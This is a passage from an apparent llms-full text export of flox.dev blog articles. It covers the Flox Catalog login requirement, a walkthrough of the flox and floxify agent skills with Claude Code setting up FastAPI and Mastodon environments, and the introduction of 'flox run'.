# Flox > The full text of every article on flox.dev, excluding corporate announcements and event recaps. Flox gives platform and DevEx teams a way to standardize environments: declare your stack once in a `manifest.toml`, and it stays identical everywhere it runs. One manifest resolves to one lock, and every target runs that exact closure: a laptop, a CI runner, a cloud VM, a container image, or an AI coding agent sandbox. Last updated: 2026-10-22 Documents: 127 Index of this site: https://flox.dev/llms.txt Reference documentation index: https://flox.dev/docs/llms.txt Reference documentation, full text: https://flox.dev/docs/llms-full.txt Also available: https://flox.dev/llms-full-blog.txt Also available: https://flox.dev/llms-full-tutorials.txt Also available: https://flox.dev/llms-full-customers.txt Documents are ordered newest first. Each begins with a separator line of its own, an HTML comment, always followed by exactly four metadata lines in this order: Title, Source, Date, and Category. The article itself then starts at a level-one heading. Split on the separator line rather than on `---` or `# `, both of which occur inside article prose and code samples. The separator is the first non-blank line below this paragraph, where the first document starts. Category is always one of: guide, news, engineering, tutorial, interview, case-study. Title: Flox Catalog Login Requirement Starts October 20: What You Need to Know Source: https://flox.dev/blog/flox-catalog-login-requirement-what-you-need-to-know/ Date: 2026-10-19 Category: news # Flox Catalog Login Requirement Starts October 20: What You Need to Know Starting October 20, 2026, installing, upgrading, or resolving packages from the Flox Catalog requires a free FloxHub account. Here is what changes, what stays public, and how to get your machine, CI pipelines, and AI agent sandboxes ready. ## Summary Starting **Tuesday, October 20, 2026**, Flox CLI commands that install, upgrade, or resolve packages from the Flox Catalog require a **free FloxHub account**. Searching and inspecting packages stays public, and you can still activate an existing environment that has a valid lockfile without logging in. Run **`flox auth login`** on your machine, and in CI either commit your lockfile or authenticate with a service account token. **Key takeaways** - The requirement takes effect October 20, 2026, ships alongside Flox v1.19.0, and applies to older Flox CLI versions, too. - Commands that resolve packages, such as **`flox install`**, **`flox upgrade`**, and **`flox run`**, require authentication. - **`flox search`**, **`flox show`**, and **`flox pull`** for public packages and environments remain public. - An environment with a valid, committed lockfile activates without a login, in CI or anywhere else. - FloxHub accounts are free, and the free tier keeps all its existing capabilities. In August, [we announced](https://flox.dev/blog/making-flox-better-for-people-and-machines/) that certain Flox CLI operations would soon require authentication. The backstory is that as agents generate more Catalog traffic, authentication will help us identify and curb abusive automation, keeping the service responsive for everyone. That change takes effect **Tuesday, October 20, 2026**. The login requirement coincides with the release of Flox v1.19.0, but applies to older Flox CLI versions, too. Starting October 20, accessing the Flox Catalog to install packages, upgrade dependencies, or resolve new package requirements will require a **free FloxHub account**. Searching and inspecting packages will remain public. Because resolving dependencies takes more work, that's where we're requiring a login. ## What Changes… and What Doesn't Commands that resolve packages, including **`flox install`**, **`flox upgrade`**, **`flox run`**, and **`flox include upgrade`**, will require authentication. So will commands like **`flox init`**, **`flox edit`**, and **`flox activate`** when they need to resolve packages—i.e., when a [valid lockfile](https://flox.dev/docs/concepts/environments#manifest-lock) doesn’t already exist. **You can still activate an existing Flox environment without logging in, provided it has a valid lockfile.** This means CI pipelines can run without FloxHub credentials, while offline sandboxes can run without Catalog access as long as the required packages are available locally. We'll cover both cases below. Other operations remain public, including **`flox search`**, **`flox show`**, and **`flox pull`** for public packages and environments. ## Getting Ready **On your machine:** Run **`flox auth login`** and authenticate using GitHub, Google, or GitLab. If you're already logged in, there's nothing to do. **In CI:** You’ve got two options: - **Use a committed lockfile.** Commit your environment's **`manifest.lock`** alongside its manifest. Pipelines that activate an existing, correctly locked environment don't need to authenticate with the Flox Catalog. - **Authenticate your pipeline.** If your jobs install, upgrade, or resolve packages, provide a [service account token (SAT)](https://flox.dev/blog/flox-account-tokens-for-people-and-machines/) using the **`FLOX_FLOXHUB_TOKEN`** environment variable. Store credentials in your CI platform's secrets manager. **Note**: Token authentication requires Flox v1.14.0 or newer. **In AI agent environments and offline sandboxes:** The same rules apply, with one important distinction. A lockfile eliminates the need to resolve dependencies, but it doesn't eliminate the need to obtain packages. For sandboxes without internet access, prepare the locked environment and make its package dependencies available locally before launching the sandbox. Authentication tokens cannot substitute for network connectivity. **Using an older CLI?** Flox CLI versions 1.3.5 through 1.13.x support interactive login but not PATs or SATs. Versions older than v1.3.5 must be upgraded to continue resolving packages. ## Why We're Making This Change As more developers, CI systems, and AI agents depend on FloxHub, authentication helps us understand how these services are used, protect them from abusive automation, and prioritize improvements to reliability and performance. **This isn't a paywall.** FloxHub accounts are 100% free, and the free tier retains all its existing capabilities. For complete instructions and FAQs, read [the documentation](https://flox.dev/docs/concepts/authentication). Questions? Join us on [community Slack](https://go.flox.dev/slack) or [Discourse](https://discourse.flox.dev), or email support@flox.dev. --- ## Frequently Asked Questions **Why is Flox requiring a login?** As more developers, CI systems, and especially AI agents use Flox, they generate more traffic to the Flox Catalog. Authentication helps Flox identify and curb abusive automation, keeping the service responsive for everyone, and helps it understand how the service is used so it can prioritize improvements to reliability and performance. The login applies to resolving dependencies because resolving takes more work than searching for or inspecting packages. ([Why We're Making This Change](#why-were-making-this-change)) **Does this mean I need a FloxHub account to use Flox?** In practice, yes. Starting October 20, 2026, installing packages, upgrading dependencies, or resolving new package requirements from the Flox Catalog requires a free FloxHub account, and that covers most of what you do when you create or change an environment. The exceptions are searching for and inspecting packages, pulling public packages and environments, and activating an existing environment that already has a valid lockfile. ([What Changes… and What Doesn't](#what-changes-and-what-doesnt)) **Which Flox commands require me to log in?** Commands that resolve packages, including **`flox install`**, **`flox upgrade`**, **`flox run`**, and **`flox include upgrade`**. Commands like **`flox init`**, **`flox edit`**, and **`flox activate`** also require authentication when they need to resolve packages, meaning when a [valid lockfile](https://flox.dev/docs/concepts/environments#manifest-lock) doesn’t already exist. **`flox search`**, **`flox show`**, and **`flox pull`** for public packages and environments do not. ([What Changes… and What Doesn't](#what-changes-and-what-doesnt)) **How do I log in to FloxHub from the Flox CLI?** Run **`flox auth login`** and authenticate using GitHub, Google, or GitLab. If you’re already logged in, there’s nothing to do. ([Getting Ready](#getting-ready)) **How do I keep my CI pipelines working?** You have two options. Commit your environment’s **`manifest.lock`** alongside its manifest: pipelines that activate an existing, correctly locked environment don’t need to authenticate. Or, if your jobs install, upgrade, or resolve packages, provide a [service account token](https://flox.dev/blog/flox-account-tokens-for-people-and-machines/) through the **`FLOX_FLOXHUB_TOKEN`** environment variable, stored in your CI platform’s secrets manager. Token authentication requires Flox v1.14.0 or newer. ([Getting Ready](#getting-ready)) **What about AI agents and offline sandboxes?** The same rules apply. A lockfile removes the need to resolve dependencies, but the sandbox still needs the packages themselves. For sandboxes without internet access, prepare the locked environment and make its package dependencies available locally before launching the sandbox. Authentication tokens can’t substitute for network connectivity. ([Getting Ready](#getting-ready)) **Does the login requirement apply to older Flox CLI versions?** Yes. It coincides with the Flox v1.19.0 release but applies to older versions, too. Versions 1.3.5 through 1.13.x support interactive login but not personal access tokens or service account tokens. Versions older than v1.3.5 must be upgraded to continue resolving packages. ([Getting Ready](#getting-ready)) **Is Flox putting the Catalog behind a paywall?** No. FloxHub accounts are 100% free, and the free tier retains all its existing capabilities. ([Why We're Making This Change](#why-were-making-this-change)) Title: Focusing on the Code, Not the Cruft Source: https://flox.dev/blog/focusing-on-the-code-not-the-cruft/ Date: 2026-10-01 Category: guide # Focusing on the Code, Not the Cruft Putting the flox and floxify agent skills through their paces with Claude Code: building a FastAPI embedding service from scratch, then reconstructing a complete six-service Mastodon development environment from an existing checkout. ## Summary The **`flox`** and **`floxify`** [agent skills](https://github.com/flox/flox-skills) let a coding agent build reproducible Flox environments: **`flox`** creates one for a new project from your requirements, while **`floxify`** reconstructs one from an existing repo and verifies it. Tested with Claude Code on a Mac, **`flox`** produced a working FastAPI embedding service, and **`floxify`** turned a Mastodon checkout into a six-service dev stack in minutes. **Key takeaways** - **`flox`** builds an environment for a new project from your requirements; **`floxify`** reconstructs one from an existing repo. - **`flox`** turned a plain-language request into a working FastAPI service, and explained the version and packaging choices it made. - **`floxify`** scans the repo’s dependency, runtime, service, and build files first, then validates the manifest against those findings. - Its verification loop caught missing dependencies and platform quirks a manual setup could easily miss, and fixed them. - Mastodon’s databases, workers, and app processes all ran as Flox services, without Docker Compose or Homebrew. As a developer advocate, I’m used to spending a lot of time worrying about whether a demo will work anywhere _but_ my machine. The unknown part rarely concerns CPU, memory, or bandwidth constraints. It almost always comes down to reproducing the same development environment across macOS and Linux… with the same runtimes, native dependencies, services, package versions, and behaviors. Getting everything installed, configured, documented, and _running_ can easily overshadow the thing I actually want to show. As luck would have it, I work at Flox, where we address this problem by defining development environments as code. You can use Flox to capture the runtimes, packages, variables, hooks, and services a project needs, then activate the same reproducible environment on macOS and Linux, x86-64 or ARM, with platform-specific GPU support if available. An environment created on Apple Silicon, for example, can be shared with a colleague working on Intel-based Linux, then carried into CI in the cloud… without reconstructing it at each stage. Flox ships [two agent skills](https://github.com/flox/flox-skills) that automate much of that work: - **`flox:flox`** builds a Flox environment for a new project from the requirements you give your coding agent. - **`flox:floxify`** analyzes an existing repository, identifies what it already depends on, and builds a Flox environment to match. I tried both with Claude Code on an Apple Silicon Mac. This article chronicles my experience, warts and all. ## Building a New Project with `flox` As a relatively new Flox employee, I was intrigued to see how well the **`flox`** skill captures my employer’s best practices. Unlike a static tutorial or demo, the **`flox`** skill isn’t fixed to a snapshot in time: it can evolve as packages, tooling, and recommended patterns change. This is especially useful for me because I need to create countless demos and prebuilt harnesses that demonstrate the mechanics of reusable development environments. For the **`flox`** skill’s greenfield case, I asked Claude to build a small FastAPI service that accepts text, embeds it using Python **`sentence-transformers`**, and returns the vector. ```text ❯ I'd like to use Flox to create a simple embedding endpoint with FastAPI and sentence-transformers. A POST to the api with a text payload is converted into a vector and returned. I’d also like to serve it over HTTPS locally for development and testing. What open source libraries and tools would you recommend? ● Flox is installed here. Declarative .flox/env/manifest.toml gives a reproducible env including Python itself and any system libs; good if you want flox activate to be the only setup step. ``` And off Claude Code goes into planning mode with the **`flox`** skill! I watched in real time as the skill selected Python v3.13 and also verified that any required Python packages were available in the Flox catalog. The skill “knew” to search for **`python313Packages.sentence-transformers`** because this name is consistent with the [nixpkgs](https://github.com/nixos/nixpkgs) convention for packages built against a particular Python version. In the same way, the skill knew to select **`python313Packages.fastapi`** (for FastAPI)… and to do the same for any other Python v3.13-compatible packages. When it finished, it had automatically populated the Flox [manifest](https://flox.dev/docs/man/manifest.toml) with the following dependencies: ```toml [install] python.pkg-path = "python313" python.pkg-group = "python" fastapi.pkg-path = "python313Packages.fastapi" fastapi.pkg-group = "python" uvicorn.pkg-path = "python313Packages.uvicorn" uvicorn.pkg-group = "python" sentence-transformers.pkg-path = "python313Packages.sentence-transformers" sentence-transformers.pkg-group = "python" pydantic.pkg-path = "python313Packages.pydantic" pydantic.pkg-group = "python" openssl.pkg-path = "openssl" ``` When I pressed Claude as to why it had selected Python v3.13 instead of an older version, it gave the rationale that current releases of Sentence Transformers require a minimum of Python v3.10 and don’t officially support Python v3.14. In other words, with an EOL date of October 2026, Python v3.10 would have been a stale choice for this project… while v3.14 is still too new. Python v3.13 has been available for two years now and is well supported by Sentence Transformers. Claude settled on a logical compromise between too-old and too-new. The shared **`pkg-group`** isolates the Python dev toolchain inside its own dependency-resolution boundary. This makes sense: Flox automatically resolves dependencies and selects versions that can coexist with one another; [Package Groups](https://flox.dev/docs/concepts/package-groups) give us a way to segregate packages that must be resolved and/or upgraded together from those that can move/upgrade independently. Here, Python and its Python packages form one group, while native tools such as **`openssl`**, used for local HTTPS, remain in Flox’s default, or “top-level,” group. By isolating Python dev dependencies in their own group, a version constraint or dependency conflict in a native tool (like **`openssl`**) doesn’t unnecessarily constrain the Python stack to use older, compatible historical packages (like Python 3.12), or vice versa. ### Putting It All Together The skill didn’t stop there. It created the complete environment that the FastAPI service needs to run: - **Defined the model and port.** Sets the Sentence Transformers model and the port the API listens on. - **Kept model caches inside the Flox environment.** Redirects the Hugging Face and Sentence Transformers caches to **`$FLOX_ENV_CACHE`**, so model data stays with the environment cache. - **Preloaded the embedding model.** Downloads and initializes the **`all-MiniLM-L6-v2`** model on first activation, so the first real request to the /embed endpoint is fast. - **Defined the API as a Flox service.** Runs the FastAPI application with Uvicorn on the configured port. This exposes an endpoint to feed text into the embedding encoder. On activation, the shell moved from Python v3.9.6 (installed on my Mac) to the environment's v3.13.15… ```console $ python3 --version Python 3.9.6 $ flox activate -s ✔ You are now using the environment 'FastAPI' To stop using this environment, run 'flox deactivate' $ python3 --version Python 3.13.15 ``` … and the API worked the first time I tried it: ```console $ curl -X POST localhost:8000/embed \ -H 'content-type: application/json' \ -d '{"input": ["hello world"]}' { "model":"sentence-transformers/all-MiniLM-L6-v2", "dimensions":384, "embeddings":[ [-0.03447723388671875, 0.031023329123854637, 0.006735051982104778, ...] ], "app":"flox-embed" } ``` The **`flox`** skill facilitated a boilerplated, best-practice instance of my desired environment for a new demo! And most importantly, there was a conversation with Claude that outlined the reasoning for the version choices, various additional packages I could use if I wanted to save and serve the embedded vectors, and code implementation in the **[hook](https://flox.dev/docs/man/manifest.toml#hook)** section of **`manifest.toml`**. This makes me a better Flox user by exploring what is being built out to support my environment. ## `floxify`-ing an Existing Repo If the **`flox`** skill is for the demo you haven't written yet or a greenfield project, **`floxify`** is for the codebase you already have. And the repo I picked is not a small one. [Mastodon](https://github.com/mastodon/mastodon) combines Ruby on Rails, Node, a separate streaming server, Sidekiq, PostgreSQL, Redis, Vite, and several native dependencies. Its dependency information lives across **`.ruby-version`**, **`.nvmrc`**, **`Gemfile.lock`**, **`package.json`**, **`Dockerfile`**, **`Aptfile`**, **`docker-compose.yml`**, and **`Procfile.dev`**. That is the kind of repository where setting up your dev environment becomes a software project in its own right. I asked Claude to **`floxify`** the fresh checkout. The first thing **`floxify`** does is refuse to guess. The skill starts by running a deterministic analyzer across every known dependency, runtime, service, and build file, then uses those results to guide Claude as it generates the Flox environment’s manifest. The skill then runs a second script to validate the manifest against its original findings. The manifest isn’t considered final until both agree with one another. Watching your own project scroll past, one line per file, is the trust-building exercise I wish was built into most agent skills before batch manipulation: ```console Scanning mastodon/ detecting runtimes, services, and build tools... .ruby-version ruby 4.0.6 .nvmrc node 24.19 Gemfile.lock ruby 4.0.6 · bundler 4.0.18 · pg · ruby-vips · redis → 341 gems package.json yarn@4.18.0 · workspaces [".", "streaming"] · node >=22 docker-compose.yml postgres:14-alpine · redis:7-alpine · (es: commented out) Dockerfile ruby 4.0.6 · node 24 · libvips 8.18.5 · ffmpeg 9.0.1 · libicu76 · libidn12 Aptfile libidn12 Procfile.dev web · sidekiq · stream · vite Found: Ruby 4.0.6 (← .ruby-version) · Node 24.19 (← .nvmrc) · Yarn 4.18.0 (← package.json) · PostgreSQL 14 · Redis 7 (← docker-compose.yml) · libvips · ffmpeg · ICU · libidn (← Dockerfile / Aptfile) ``` To take just one example, **`ffmpeg`** does not appear in the **`Gemfile.lock`**. Mastodon builds it from source in the Dockerfile and copies it into the runtime image. A Ruby-only dependency scan would miss it. The skill then checked the Flox catalog for the requested runtimes and native packages. It also inspected each package’s [default outputs](https://flox.dev/docs/tutorials/package-outputs#selecting-package-outputs). That’s how it caught a detail I would likely have missed were I doing this on my own: installing a package doesn’t automatically install all of its shared objects and development headers. It’s like this: Nix packages can split their contents into separate **outputs**: scripts and binaries, shared libraries, development headers, documentation, and so on. Nix distributes a package’s outputs according to the same functional boundaries represented by [FHS](https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard) directories like **`/usr/bin`**, **`/usr/lib`**, **`/usr/include`**, etc. This way, if you’re creating a Nix runtime environment, it’s easy to skip development headers, static libraries, build-system metadata, and other files that you only need if you’re building or developing against the package. Flox installs the package’s default outputs unless you explicitly declare others. For Mastodon, several native gems need more than the defaults: **`pg`** needs PostgreSQL’s libraries and headers, **`ruby-vips`** needs **`libvips`**, and other C extensions need their corresponding development files. The skill detected those requirements and declared the additional outputs: ```toml [install] # --- Language runtimes --- ruby.pkg-path = "ruby_4_0" # .ruby-version 4.0.6 · Gemfile.lock RUBY VERSION 4.0.6 · Dockerfile RUBY_VERSION=4.0.6 ruby.version = "4.0.6" # exact match in catalog (Gemfile allows >= 3.3.0, < 4.1.0) nodejs.pkg-path = "nodejs_24" # .nvmrc 24.19 · Dockerfile NODE_MAJOR_VERSION=24 · package.json engines.node ">=22" nodejs.version = "24.19.0" # exact match to .nvmrc 24.19 # --- Package managers --- yarn.pkg-path = "yarn-berry" # package.json packageManager "yarn@4.18.0"; catalog max 4.14.1 (same Yarn 4 line) # bundler ships with ruby_4_0 (Gemfile.lock BUNDLED WITH 4.0.18) # --- Datastores (both hard runtime deps; wired as [services.*] below) --- postgresql.pkg-path = "postgresql_14" # docker-compose.yml db image postgres:14-alpine · also builds the pg gem postgresql.outputs = ["out", "lib", "dev"] # default is out+man only; pg gem needs pg_config (out) + libpq (lib) + headers (dev) redis.pkg-path = "redis" # docker-compose.yml redis image redis:7-alpine # --- Native media libraries (runtime + gem C-extensions) --- vips.pkg-path = "vips" # Gemfile ruby-vips ~> 2.2 · Dockerfile VIPS_VERSION=8.18.5 vips.outputs = ["out", "bin", "dev"] # default is bin+man only; libvips shared lib lives in `out`, headers in `dev` ffmpeg.pkg-path = "ffmpeg" # Dockerfile FFMPEG_VERSION=9.0.1 (catalog 9.0.1, exact) · video transcoding # --- Native C-extension gem dependencies --- icu.pkg-path = "icu" # Gemfile charlock_holmes ~> 0.7.7 links system ICU · Dockerfile libicu76 icu.outputs = ["out", "dev"] libidn.pkg-path = "libidn" # Gemfile idn-ruby · Aptfile libidn12 · Dockerfile libidn-dev (GNU libidn v1 — NOT libidn2) libidn.outputs = ["out", "dev"] # --- Toolchain to compile native gems (pg, ruby-vips, charlock_holmes, idn-ruby, ...) --- pkg-config.pkg-path = "pkg-config" gcc.pkg-path = "gcc" gnumake.pkg-path = "gnumake" ``` The Flox environment explicitly declares versions of Ruby and Node because Mastodon itself pins these. With only two pinned dependencies, Flox’s solver has a lot more room to resolve a coherent set of compatible packages. Once it does, it records the versions of _every_ resolved package in a [lockfile](https://flox.dev/docs/concepts/environments#manifest-lock), so the environment always resolves to exactly the same dependencies. If necessary I could also explicitly declare versions for each and every package in the manifest… or have the Flox skill do it for me. This would prevent someone running **`flox upgrade`** from changing versions. ### How the Skill Works Its Magic One wart was introduced by the Mastodon Dockerfile’s Alpine base image, which pins Redis to v7.2.7. The **`floxify`** skill attempted to do this, too, but Flox’s solver couldn’t find a common catalog snapshot containing Redis v7.2.7 alongside Ruby v4.0.6 and Node v24.19. (The Flox Catalog [_contains_ Redis v7.2.7](https://hub.flox.dev/packages/base/redis); however, no single **`nixpkgs`** git commit pins compatible versions of Redis v7.2.7, Ruby v4.0.6, and Node v24.19. It’s kind of like Netflix streaming three of your favorite movies in the same calendar year, but never all three at the same time.) Because Mastodon only requires _Redis 7_ rather than that specific patch release, Claude dropped the unnecessary pin and let Flox resolve a compatible version on its own. That was one valid solution, but Claude could also have isolated Redis v7.2.7 in its own package group. When I asked Claude why it had made this decision, it told me that **`floxify`** has a pre-defined escalation ladder. In this case, the first rung was the most pragmatic choice: keep any required pins and relax any non-essential version constraints. Mastodon doesn’t need the specific Redis patch version pinned, so dropping this pin was sufficient. Verification also surfaced two other missing pieces. The first is that native gems like **`openssl`** and **`hiredis-client`** need to compile against OpenSSL development headers. Mastodon’s Docker image gets OpenSSL from its Ruby base image, so that dependency is easy to miss when reconstructing the environment from the repo. Claude added OpenSSL explicitly and requested its **`out`** and **`dev`** outputs so the libraries and headers would be available during gem compilation. I didn’t have to lift a finger to discover or address this. The final issue was macOS-specific and came down to the **`#!/usr/bin/env ruby`** shebang already present in Mastodon’s **`./bin/rails`** script. Flox normally makes shared libraries available on macOS using **`DYLD_*`** search paths, but **`/usr/bin/env`** is an Apple [SIP](https://support.apple.com/en-us/102149)-protected system executable. When the shebang invokes it, [SIP strips the **`DYLD_*`** variables](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/RuntimeProtections/RuntimeProtections.html) before **`env`** launches Ruby, so Ruby does not inherit Flox’s **`DYLD_*`** search path and **`ruby-vips`** cannot find **`libvips`**. Claude worked around this by adding **`$FLOX_ENV/lib`** to **`LD_LIBRARY_PATH`**, which Ruby FFI can use as a fallback search path when locating the library. **`floxify`** verifies the environment at several points. Before Claude writes the manifest, it checks package names, versions, outputs, and per-system compatibility against the Flox catalog. Afterward, a hard gate tests package resolution, runs the environment and its hooks, performs functional import checks for Python projects, and compares the manifest against the analyzer’s original findings. Any blocking failure sends Claude back to fix the manifest, after which it reruns the verification gate until all checks pass. ### From Dependencies to a Runnable Application In the finalized manifest, there’s a clear division of responsibilities: Flox provides the system-level dependencies: Ruby, Node, PostgreSQL, Redis, compilers, and native libraries; the ecosystem-specific package managers, Bundler and Yarn, handle Mastodon’s Ruby and JavaScript dependencies. The Claude-generated activation hook keeps Ruby gems, database state, and related caches inside the Flox environment’s path. PostgreSQL and Redis run as Flox services. I then asked Claude to map Mastodon’s four **`Procfile.dev`** processes (Rails, Sidekiq, the streaming server, and Vite) to Flox services as well. This gave me a six-service development stack I could start automatically at activation: ```console $ flox activate -s $ flox services status postgres Running redis Running sidekiq Running streaming Running vite Running web Running $ curl localhost:3000/health OK $ curl localhost:4000/api/v1/streaming/health OK ``` The local Mastodon stack now comes up from the Flox environment itself, without relying on Docker Compose, Homebrew, or a scripted sequence of setup commands from the **`README`**. More importantly, I now have the ability to version and manage the reproducible Flox runtime environment _alongside_ the Mastodon code: the manifest and lockfile travel with the project itself, so supported Linux and Apple Silicon systems always activate the same deterministic dependency set… rather than rebuilding from scratch. ### What I Learned from `flox` and `floxify` Each skill approaches a similar problem from completely different directions. - **`flox`** starts with what you want to build and constructs the environment to support it. It encoded best practices into a manifest I would not have written as carefully by hand. - **`floxify`** starts with an existing codebase, reconstructs the environment from the evidence already present in the repo, and verifies the result before handing it back. Both skills provide guardrails, context, package-specific guidance, fallbacks, and codified escalation paths that Claude can use to identify runtimes, dependencies, package outputs, and version constraints; define Flox-managed services; account for platform-specific differences; and validate that the **`manifest.toml`** resolves successfully with Flox and matches the requirements declared by the project. The result was that I spent zero time reverse-engineering how to build and run Mastodon and had a working environment in just minutes. The **`floxify`** skill, in particular, performed archaeology and paved the road to getting Mastodon configured properly. It found a runtime dependency that lives only in a Dockerfile, recognized that Debian’s **`libidn12`** package maps to GNU **`libidn`**, not the similarly named **`libidn2`**, honored a commented-out Compose service, and declared non-default package outputs that I did not know existed… until Claude explained them to me. Several fixes were surfaced by the **`floxify`** skill's own verification gate refusing to sign off until **`flox activate`** actually worked, and one of them, the SIP behavior, has nothing to do with Flox and everything to do with the macOS machine I happened to be clanking on. This uncovered a nuance that’s worth bringing out. The skill’s verification loop runs the Flox environment, reads the errors, and fixes the manifest until the environment runs, and tells me exactly what it changed and why… in comments that will still be there when I revisit this repo in a year and have forgotten all of it. Next stop: **`flox push`**, and putting this instance somewhere with a real domain so it can meet the rest of the fediverse. **Update:** With even more floxify skill applied to the deployment and ops infrastructure, I now have [Floxtodon.dev](https://floxtodon.dev) up and running! This is the actual Mastodon repo with the environment management converted over to Flox. Head over and check it out! The floxified Mastodon repo can be found [here](https://github.com/justincastilla/mastodon-flox). Get the skills → [https://github.com/flox/flox-skills](https://github.com/flox/flox-skills) Read the docs → [https://flox.dev/docs](https://flox.dev/docs) [Download Flox](https://flox.dev/download/) and point your coding agent at your own repo. --- ## Frequently Asked Questions **What are the flox and floxify agent skills?** They are two agent skills, published in the [flox-skills repository](https://github.com/flox/flox-skills), that help a coding agent such as Claude Code build Flox environments. A Flox environment captures the runtimes, packages, variables, hooks, and services a project needs, so the same setup can be activated on macOS and Linux. The skills give the agent guardrails, package-specific guidance, fallbacks, and verification steps instead of leaving it to guess. ([What I Learned from flox and floxify](#what-i-learned-from-flox-and-floxify)) **When should I use flox, and when should I use floxify?** Use **`flox`** when you’re starting something new: you describe what you want to build, and it constructs an environment to support it. Use **`floxify`** when you already have a codebase: it reconstructs the environment from evidence already in the repo, then verifies the result before handing it back. In the article, **`flox`** set up a new FastAPI service, and **`floxify`** set up an existing Mastodon checkout. ([What I Learned from flox and floxify](#what-i-learned-from-flox-and-floxify)) **How does floxify work out what an existing project needs?** It starts by refusing to guess. A deterministic analyzer scans the repo’s dependency, runtime, service, and build files, and the agent writes the Flox manifest from those findings. A second script then checks the manifest against the original findings. Reading every source matters: in Mastodon, one native dependency appeared only in the Dockerfile, so a scan of the Ruby dependencies alone would have missed it. ([floxify-ing an Existing Repo](#floxify-ing-an-existing-repo)) **How do the skills make sure the environment actually works?** **`floxify`** verifies at several points. Before writing the manifest, it checks packages and platform compatibility against the Flox catalog. Afterward, a verification gate resolves the packages, runs the environment and its hooks, and compares the result with the original analysis. Any blocking failure sends the agent back to fix the manifest until every check passes, and the agent leaves comments explaining what it changed and why. ([How the Skill Works Its Magic](#how-the-skill-works-its-magic)) **What happens when the agent runs into a dependency conflict?** **`floxify`** follows a predefined escalation ladder. Its first step is to keep the version pins a project truly requires and relax the ones that aren’t essential. In the article, one service was pinned to an exact release that couldn’t be resolved alongside the other runtimes. Because the project only needed the major version, the agent dropped the extra pin and let Flox choose a compatible release. ([How the Skill Works Its Magic](#how-the-skill-works-its-magic)) **Do I still need Docker Compose or Homebrew to run a project’s services?** Not in the article’s example. Databases and the application’s own processes can all run as Flox services. For Mastodon, PostgreSQL, Redis, the web server, background workers, the streaming server, and the frontend build server all started together with **`flox activate -s`**, without Docker Compose, Homebrew, or a list of setup commands from the README. ([From Dependencies to a Runnable Application](#from-dependencies-to-a-runnable-application)) **How does a Flox environment stay the same across machines and teammates?** The environment is declared in a manifest, and Flox records the exact version of every resolved package in a [lockfile](https://flox.dev/docs/concepts/environments#manifest-lock). Both are versioned alongside the project’s code, so supported Linux and Apple Silicon systems activate the same dependency set instead of rebuilding it. An environment created on one machine can be shared with a colleague and carried into CI without being reconstructed at each stage. ([From Dependencies to a Runnable Application](#from-dependencies-to-a-runnable-application)) Title: Sometimes You Just Need jq Source: https://flox.dev/blog/sometimes-you-just-need-jq/ Date: 2026-09-11 Category: news # Sometimes You Just Need jq Flox v1.16 introduces flox run, a subcommand that runs commands from Flox Catalog packages without creating an environment, along with pre-built secrets integrations for 1Password, HashiCorp Vault, OpenBao, and Infisical. A dev environment for platform work might include **`jq`**, Kubernetes tools, cloud CLIs, and dozens of other packages. But sometimes you just need to run **`jq`**... without bringing an entire dev environment along with it. The same goes for working with secrets: You should be able to declare your provider, define your config, and have secrets-retrieval just work. You shouldn’t have to build integration logic from scratch. Flox now gives you both. With the new **[flox run](https://flox.dev/docs/man/flox-run)** subcommand, you can invoke **`jq`** at any time just by doing **`flox run jq`**. Flox now ships [pre-built secrets integrations](https://flox.dev/docs/concepts/secrets-management) built on the [experimental environment-plugin](https://flox.dev/docs/concepts/plugins) capability we introduced in [Flox v1.14](https://discourse.flox.dev/t/flox-1-14-0-is-released/1265). Figure: Run one-off commands with flox run. Retrieve secrets from your provider with prebuilt plugins. ## Run Flox, Run We built **`flox run`** to make it easier to experiment with a new software package without first creating a Flox environment from scratch. The **`flox run`** subcommand is also helpful when you need to run a particular package just once, but don’t want to add it to an environment… only to have to take it out later. The **`flox run`** subcommand finds the package that provides the requested program and runs it without requiring you to create or modify a Flox environment. Figure: Run commands from packages on demand… without installing them Let’s say I wanted to try out the **`hello`** demo package. The classic pattern involves creating a Flox environment, installing **`hello`**, and activating the environment. This workflow looks like: ```console $ flox init ⚡︎ Created environment 'demo' (aarch64-darwin) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks $ flox push <- Use the environment from other machines or share it with someone on FloxHub > Auto-activate the environment in '/tmp/demo'? No ℹ Disabled auto-activation for the environment. Run 'flox activate allow --dir ' to re-enable. ``` This initializes the environment; the next step is to imperatively install **`hello`** … ```console $ flox install hello ✔ 'hello' installed to environment 'demo' ``` … or use **`flox edit`** to declaratively add it to the environment’s manifest: ```toml schema-version = "1.16.0" [install] hello.pkg-path = "hello" ``` Only _then_ can you actually run the **`hello`** command: ```console $ flox activate ✔ You are now using the environment 'demo' To stop using this environment, run 'flox deactivate' flox [demo default] % hello Hello, world! ``` ## Why Not Just `flox run` It? That’s a lot of steps to get “Hello world!” in your terminal. Flox is great for sharing the same setup across a team; now we've made it easier to try out the commands packages expose without creating any environment setup. Because some packages provide programs with the same names, we also added the ability to select the one you want: ```console $ flox run hello ! Multiple packages provide 'hello'. Select one to run: > haskellPackages.hello hello tests.haskell.ghcWithPackages.hello fyne mbedtls mbedtls_2 v polarssl [Showing 10 of 16 results. Use 'flox search --command hello --all' to see the full list.] $ flox run hello > Multiple packages provide 'hello'. Select one to run: hello ✔ Saved 'hello' as the package to run for 'hello' Run 'flox run --reselect hello' to choose another package. Hello, world! $ flox run hello Hello, world! ``` So what exactly did we build? Basically, we now index the commands provided by all **`free`** packages in **`nixpkgs`**: i.e., those with unencumbered open source licenses. You can discover these for yourself in FloxHub [by searching for a package](https://hub.flox.dev/packages), selecting a specific version, and clicking the “Outputs” tab. The screenshot below shows that **`hello`** has a single command: **`hello`**. Figure: The hello package has a single command We also added a special **`--command`** flag to **`flox search`** so that you can find what you’re looking for without leaving the CLI: ```console $ flox search --command hello 16 packages provide 'hello' — 3 exact matches (*): * hello (haskellPackages.hello) * hello (hello) * hello (tests.haskell.ghcWithPackages.hello) fyne (fyne) mbedtls (mbedtls) mbedtls_2 (mbedtls_2) polarssl (polarssl) allowPkgsInPermittedInsecurePackages (tests.config.allowPkgsInPermittedInsecurePackages) helloFromCabalSdist (tests.haskell.cabalSdist.helloFromCabalSdist) install-bin (tests.install-shell-files.install-bin) ℹ There are 16 packages that supply 'hello'. Use 'flox search --command hello --all' or 'flox run --package hello' to choose a specific package. ``` When more than one package provides a command with the same name, we save your selection so you don’t have to choose again. We store 